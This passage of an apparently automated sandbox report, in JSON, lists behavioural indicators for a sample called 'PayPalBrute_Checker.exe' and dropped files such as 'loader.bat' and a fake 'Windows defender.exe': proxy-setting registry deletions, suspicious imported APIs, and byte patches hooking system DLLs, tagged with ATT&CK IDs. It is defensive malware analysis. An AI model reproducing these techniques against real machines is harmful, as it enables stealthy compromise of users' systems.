access"},{"type":"linebreak"},{"type":"text","value":"\"e6ee5674bb9446c78bbc5729af6e2c28.exe\" opened \"C:\\Users\\%USERNAME%\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch.1072.1585875\" with delete access"}],"origin":"API Call","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Security","identifier":"registry-27","type":3,"relevance":10,"name":"Modifies proxy settings","description":"$40","description_v2":["\"PayPalBrute_Checker.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"PayPalBrute_Checker.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"PayPal.scr\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"PayPal.scr\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"loader.bat\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"loader.bat\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"wscript.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")"}],"origin":"Registry Access","attck_id":"T1112","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1112","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"System Security","identifier":"registry-36","type":3,"relevance":8,"name":"Queries sensitive IE security settings","description":"\"PayPalBrute_Checker.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"PayPal.scr\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"loader.bat\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","description_v2":["\"PayPalBrute_Checker.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","\"PayPal.scr\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","\"loader.bat\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPal.scr\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"},{"type":"linebreak"},{"type":"text","value":"\"loader.bat\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"},{"type":"linebreak"},{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")"}],"origin":"Registry Access","attck_id":"T1012","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1012","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-0","type":0,"relevance":10,"name":"CRC value set in PE header does not match actual value","description":"\"PayPal brute_checker.exe\" claimed CRC 3022917 while the actual is CRC 35279\n \"SQLite.Interop.dll\" claimed CRC 1097029 while the actual is CRC 56784","description_v2":["\"PayPal brute_checker.exe\" claimed CRC 3022917 while the actual is CRC 35279","\"SQLite.Interop.dll\" claimed CRC 1097029 while the actual is CRC 56784"],"description_v3":[{"type":"text","value":"\"PayPal brute_checker.exe\" claimed CRC 3022917 while the actual is CRC 35279"},{"type":"linebreak"},{"type":"text","value":"\"SQLite.Interop.dll\" claimed CRC 1097029 while the actual is CRC 56784"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-4","type":0,"relevance":10,"name":"Entrypoint in PE header is within an uncommon section","description":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has an entrypoint in section \"UPX1\"","description_v2":["\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has an entrypoint in section \"UPX1\""],"description_v3":[{"type":"text","value":"\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" has an entrypoint in section \"UPX1\""}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"static-1","type":0,"relevance":1,"name":"Imports suspicious APIs","description":"$41","description_v2":["RegDeleteKeyA","RegCloseKey","OpenProcessToken","RegDeleteValueA","RegCreateKeyExA","RegOpenKeyExA","RegEnumKeyA","GetFileAttributesA","CopyFileA","GetModuleFileNameA","LoadLibraryExA","GetFileSize","CreateDirectoryA","DeleteFileA","GetCommandLineA","GetProcAddress","GetTempPathA","CreateThread","GetModuleHandleA","FindFirstFileA","WriteFile","GetTempFileNameA","FindNextFileA","CreateProcessA","Sleep","CreateFileA","GetTickCount","ShellExecuteA","FindWindowExA","RegCreateKeyExW","RegDeleteValueW","GetUserNameW","RegEnumKeyExW","RegOpenKeyExW","RegDeleteKeyW","GetFileAttributesW","GetTempPathW","WriteProcessMemory","GetModuleFileNameW","IsDebuggerPresent","LoadLibraryExW","ExitThread","LoadLibraryW","GetVersionExW","VirtualProtect","LoadLibraryA","OpenProcess","GetStartupInfoW","ReadProcessMemory","CreateDirectoryW","DeleteFileW","GetComputerNameW","FindNextFileW","FindFirstFileW","CreateFileW","VirtualAllocEx","WinExec","LockResource","GetCommandLineW","UnhandledExceptionFilter","GetModuleHandleW","FindResourceW","TerminateProcess","VirtualAlloc","ShellExecuteW","ShellExecuteExW","GetCursorPos","SetWindowsHookExW","GetLastActivePopup","FindWindowW","SetKeyboardState","FindWindowExW","GetWindowThreadProcessId","EnumPrintersW","CreateProcessWithLogonW","SetSecurityDescriptorDacl","CreateProcessAsUserW","IcmpSendEcho","GetDriveTypeW","FindResourceExW","DeviceIoControl","CopyFileW","OutputDebugStringW","GetModuleHandleExW","CreateToolhelp32Snapshot","GetTempFileNameW","Process32NextW","CopyFileExW","Process32FirstW","CreateProcessW","FtpGetFileSize","InternetOpenW","InternetQueryDataAvailable","InternetQueryOptionW","InternetConnectW","HttpQueryInfoW","InternetCrackUrlW","InternetCloseHandle","HttpSendRequestW","InternetOpenUrlW","InternetReadFile","FtpOpenFileW","accept","WSAStartup","connect","closesocket","send","listen","recv","socket","bind","recvfrom","sendto","CryptEncrypt","MapViewOfFile","CreateFileMappingW","CreateFileMappingA","OutputDebugStringA","GetFileAttributesExW"],"description_v3":[{"type":"text","value":"RegDeleteKeyA"},{"type":"linebreak"},{"type":"text","value":"RegCloseKey"},{"type":"linebreak"},{"type":"text","value":"OpenProcessToken"},{"type":"linebreak"},{"type":"text","value":"RegDeleteValueA"},{"type":"linebreak"},{"type":"text","value":"RegCreateKeyExA"},{"type":"linebreak"},{"type":"text","value":"RegOpenKeyExA"},{"type":"linebreak"},{"type":"text","value":"RegEnumKeyA"},{"type":"linebreak"},{"type":"text","value":"GetFileAttributesA"},{"type":"linebreak"},{"type":"text","value":"CopyFileA"},{"type":"linebreak"},{"type":"text","value":"GetModuleFileNameA"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryExA"},{"type":"linebreak"},{"type":"text","value":"GetFileSize"},{"type":"linebreak"},{"type":"text","value":"CreateDirectoryA"},{"type":"linebreak"},{"type":"text","value":"DeleteFileA"},{"type":"linebreak"},{"type":"text","value":"GetCommandLineA"},{"type":"linebreak"},{"type":"text","value":"GetProcAddress"},{"type":"linebreak"},{"type":"text","value":"GetTempPathA"},{"type":"linebreak"},{"type":"text","value":"CreateThread"},{"type":"linebreak"},{"type":"text","value":"GetModuleHandleA"},{"type":"linebreak"},{"type":"text","value":"FindFirstFileA"},{"type":"linebreak"},{"type":"text","value":"WriteFile"},{"type":"linebreak"},{"type":"text","value":"GetTempFileNameA"},{"type":"linebreak"},{"type":"text","value":"FindNextFileA"},{"type":"linebreak"},{"type":"text","value":"CreateProcessA"},{"type":"linebreak"},{"type":"text","value":"Sleep"},{"type":"linebreak"},{"type":"text","value":"CreateFileA"},{"type":"linebreak"},{"type":"text","value":"GetTickCount"},{"type":"linebreak"},{"type":"text","value":"ShellExecuteA"},{"type":"linebreak"},{"type":"text","value":"FindWindowExA"},{"type":"linebreak"},{"type":"text","value":"RegCreateKeyExW"},{"type":"linebreak"},{"type":"text","value":"RegDeleteValueW"},{"type":"linebreak"},{"type":"text","value":"GetUserNameW"},{"type":"linebreak"},{"type":"text","value":"RegEnumKeyExW"},{"type":"linebreak"},{"type":"text","value":"RegOpenKeyExW"},{"type":"linebreak"},{"type":"text","value":"RegDeleteKeyW"},{"type":"linebreak"},{"type":"text","value":"GetFileAttributesW"},{"type":"linebreak"},{"type":"text","value":"GetTempPathW"},{"type":"linebreak"},{"type":"text","value":"WriteProcessMemory"},{"type":"linebreak"},{"type":"text","value":"GetModuleFileNameW"},{"type":"linebreak"},{"type":"text","value":"IsDebuggerPresent"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryExW"},{"type":"linebreak"},{"type":"text","value":"ExitThread"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryW"},{"type":"linebreak"},{"type":"text","value":"GetVersionExW"},{"type":"linebreak"},{"type":"text","value":"VirtualProtect"},{"type":"linebreak"},{"type":"text","value":"LoadLibraryA"},{"type":"linebreak"},{"type":"text","value":"OpenProcess"},{"type":"linebreak"},{"type":"text","value":"GetStartupInfoW"},{"type":"linebreak"},{"type":"text","value":"ReadProcessMemory"},{"type":"linebreak"},{"type":"text","value":"CreateDirectoryW"},{"type":"linebreak"},{"type":"text","value":"DeleteFileW"},{"type":"linebreak"},{"type":"text","value":"GetComputerNameW"},{"type":"linebreak"},{"type":"text","value":"FindNextFileW"},{"type":"linebreak"},{"type":"text","value":"FindFirstFileW"},{"type":"linebreak"},{"type":"text","value":"CreateFileW"},{"type":"linebreak"},{"type":"text","value":"VirtualAllocEx"},{"type":"linebreak"},{"type":"text","value":"WinExec"},{"type":"linebreak"},{"type":"text","value":"LockResource"},{"type":"linebreak"},{"type":"text","value":"GetCommandLineW"},{"type":"linebreak"},{"type":"text","value":"UnhandledExceptionFilter"},{"type":"linebreak"},{"type":"text","value":"GetModuleHandleW"},{"type":"linebreak"},{"type":"text","value":"FindResourceW"},{"type":"linebreak"},{"type":"text","value":"TerminateProcess"},{"type":"linebreak"},{"type":"text","value":"VirtualAlloc"},{"type":"linebreak"},{"type":"text","value":"ShellExecuteW"},{"type":"linebreak"},{"type":"text","value":"ShellExecuteExW"},{"type":"linebreak"},{"type":"text","value":"GetCursorPos"},{"type":"linebreak"},{"type":"text","value":"SetWindowsHookExW"},{"type":"linebreak"},{"type":"text","value":"GetLastActivePopup"},{"type":"linebreak"},{"type":"text","value":"FindWindowW"},{"type":"linebreak"},{"type":"text","value":"SetKeyboardState"},{"type":"linebreak"},{"type":"text","value":"FindWindowExW"},{"type":"linebreak"},{"type":"text","value":"GetWindowThreadProcessId"},{"type":"linebreak"},{"type":"text","value":"EnumPrintersW"},{"type":"linebreak"},{"type":"text","value":"CreateProcessWithLogonW"},{"type":"linebreak"},{"type":"text","value":"SetSecurityDescriptorDacl"},{"type":"linebreak"},{"type":"text","value":"CreateProcessAsUserW"},{"type":"linebreak"},{"type":"text","value":"IcmpSendEcho"},{"type":"linebreak"},{"type":"text","value":"GetDriveTypeW"},{"type":"linebreak"},{"type":"text","value":"FindResourceExW"},{"type":"linebreak"},{"type":"text","value":"DeviceIoControl"},{"type":"linebreak"},{"type":"text","value":"CopyFileW"},{"type":"linebreak"},{"type":"text","value":"OutputDebugStringW"},{"type":"linebreak"},{"type":"text","value":"GetModuleHandleExW"},{"type":"linebreak"},{"type":"text","value":"CreateToolhelp32Snapshot"},{"type":"linebreak"},{"type":"text","value":"GetTempFileNameW"},{"type":"linebreak"},{"type":"text","value":"Process32NextW"},{"type":"linebreak"},{"type":"text","value":"CopyFileExW"},{"type":"linebreak"},{"type":"text","value":"Process32FirstW"},{"type":"linebreak"},{"type":"text","value":"CreateProcessW"},{"type":"linebreak"},{"type":"text","value":"FtpGetFileSize"},{"type":"linebreak"},{"type":"text","value":"InternetOpenW"},{"type":"linebreak"},{"type":"text","value":"InternetQueryDataAvailable"},{"type":"linebreak"},{"type":"text","value":"InternetQueryOptionW"},{"type":"linebreak"},{"type":"text","value":"InternetConnectW"},{"type":"linebreak"},{"type":"text","value":"HttpQueryInfoW"},{"type":"linebreak"},{"type":"text","value":"InternetCrackUrlW"},{"type":"linebreak"},{"type":"text","value":"InternetCloseHandle"},{"type":"linebreak"},{"type":"text","value":"HttpSendRequestW"},{"type":"linebreak"},{"type":"text","value":"InternetOpenUrlW"},{"type":"linebreak"},{"type":"text","value":"InternetReadFile"},{"type":"linebreak"},{"type":"text","value":"FtpOpenFileW"},{"type":"linebreak"},{"type":"text","value":"accept"},{"type":"linebreak"},{"type":"text","value":"WSAStartup"},{"type":"linebreak"},{"type":"text","value":"connect"},{"type":"linebreak"},{"type":"text","value":"closesocket"},{"type":"linebreak"},{"type":"text","value":"send"},{"type":"linebreak"},{"type":"text","value":"listen"},{"type":"linebreak"},{"type":"text","value":"recv"},{"type":"linebreak"},{"type":"text","value":"socket"},{"type":"linebreak"},{"type":"text","value":"bind"},{"type":"linebreak"},{"type":"text","value":"recvfrom"},{"type":"linebreak"},{"type":"text","value":"sendto"},{"type":"linebreak"},{"type":"text","value":"CryptEncrypt"},{"type":"linebreak"},{"type":"text","value":"MapViewOfFile"},{"type":"linebreak"},{"type":"text","value":"CreateFileMappingW"},{"type":"linebreak"},{"type":"text","value":"CreateFileMappingA"},{"type":"linebreak"},{"type":"text","value":"OutputDebugStringA"},{"type":"linebreak"},{"type":"text","value":"GetFileAttributesExW"}],"origin":"Static Parser","attck_id":null,"capec_id":null,"attck_id_wiki":null,"stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"hooks-8","type":11,"relevance":10,"name":"Installs hooks/patches the running process","description":"$42","description_v2":["\"PayPalBrute_Checker.exe\" wrote bytes \"fe181476f854147657d11576f2181576852a1676221214763e18147668341476eb59147677491476451214762e581476dd16147626181476ff421476c011147600000000d8949d740000000008226076d1e45d7600000000\" to virtual address \"0x10003000\" (part of module \"SYSTEM.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x74940274\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"d055157564731e750000000051c1247694982476ee9c247675dc2676273e26760fb32a760000000085481476698714760f771676d9171476ead71576a9341476f8111476201414760c111476f516147654141476ff1014763214147600000000\" to virtual address \"0x73C41000\" (part of module \"SHFOLDER.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b8c015be73ffe0\" to virtual address \"0x749336B4\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x7494025C\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x749401FC\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b84013be73ffe0\" to virtual address \"0x74933AD8\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"d83a0200\" to virtual address \"0x74934E38\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"d83a0200\" to virtual address \"0x74934D78\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"c2000000\" to virtual address \"0x1000404C\" (part of module \"SYSTEM.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x74940258\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x74940278\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x749401E4\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x749401E0\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x74940200\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"68130000\" to virtual address \"0x74B51680\" (part of module \"WS2_32.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"c0df09771cf90877ccf808770d640a7700000000c011147600000000fc3e147600000000e0131476000000009457df7425e00977c6e0097700000000bc6ade7400000000cf311476000000009319df74000000002c32147600000000\" to virtual address \"0x75D71000\" (part of module \"NSI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b4360200\" to virtual address \"0x74934EA4\" (part of module \"SSPICLI.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"711173027a3b7202ab8b02007f950200fc8c0200729602006cc805001ecd6f027d266f02\" to virtual address \"0x749C07E4\" (part of module \"USER32.DLL\")","\"PayPalBrute_Checker.exe\" wrote bytes \"b4360200\" to virtual address \"0x74934D68\" (part of module \"SSPICLI.DLL\")"],"description_v3":[{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"fe181476f854147657d11576f2181576852a1676221214763e18147668341476eb59147677491476451214762e581476dd16147626181476ff421476c011147600000000d8949d740000000008226076d1e45d7600000000\" to virtual address \"0x10003000\" (part of module \"SYSTEM.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x74940274\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"d055157564731e750000000051c1247694982476ee9c247675dc2676273e26760fb32a760000000085481476698714760f771676d9171476ead71576a9341476f8111476201414760c111476f516147654141476ff1014763214147600000000\" to virtual address \"0x73C41000\" (part of module \"SHFOLDER.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b8c015be73ffe0\" to virtual address \"0x749336B4\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x7494025C\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x749401FC\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b84013be73ffe0\" to virtual address \"0x74933AD8\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"d83a0200\" to virtual address \"0x74934E38\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"d83a0200\" to virtual address \"0x74934D78\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"c2000000\" to virtual address \"0x1000404C\" (part of module \"SYSTEM.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x74940258\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x74940278\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x749401E4\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"d83a9374\" to virtual address \"0x749401E0\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b4369374\" to virtual address \"0x74940200\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"68130000\" to virtual address \"0x74B51680\" (part of module \"WS2_32.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"c0df09771cf90877ccf808770d640a7700000000c011147600000000fc3e147600000000e0131476000000009457df7425e00977c6e0097700000000bc6ade7400000000cf311476000000009319df74000000002c32147600000000\" to virtual address \"0x75D71000\" (part of module \"NSI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b4360200\" to virtual address \"0x74934EA4\" (part of module \"SSPICLI.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"711173027a3b7202ab8b02007f950200fc8c0200729602006cc805001ecd6f027d266f02\" to virtual address \"0x749C07E4\" (part of module \"USER32.DLL\")"},{"type":"linebreak"},{"type":"text","value":"\"PayPalBrute_Checker.exe\" wrote bytes \"b4360200\" to virtual address \"0x74934D68\" (part of module \"SSPICLI.DLL\")"}],"origin":"Hook Detection","attck_id":"T1179","capec_id":null,"attck_id_wiki":"https://attack.mitre.org/wiki/Technique/T1179","stream_data":null},{"threat_level":1,"threat_level_human":"suspicious","category":"Unusual Characteristics","identifier":"registry-25","type":3,"relevance":3,"name":"Reads information about supported languages","description":"\"PayPal.scr\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"PayPal brute?checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"loader.bat\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"Windows defender.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"WatchBull.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"fontreview.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"fontreview.exe\" (Path: \"HKCU\\CONTROL PANEL\\INTERNATIONAL\"; Key: \"SYEARMONTH\")","description_v2":["\"PayPal.scr\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"PayPal brute?checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"PayPal.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"loader.bat\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"90cc6e447d345bb1f103751ab038bbce19190db6.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"Windows defender.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","\"WatchBull.exe\" (Path: 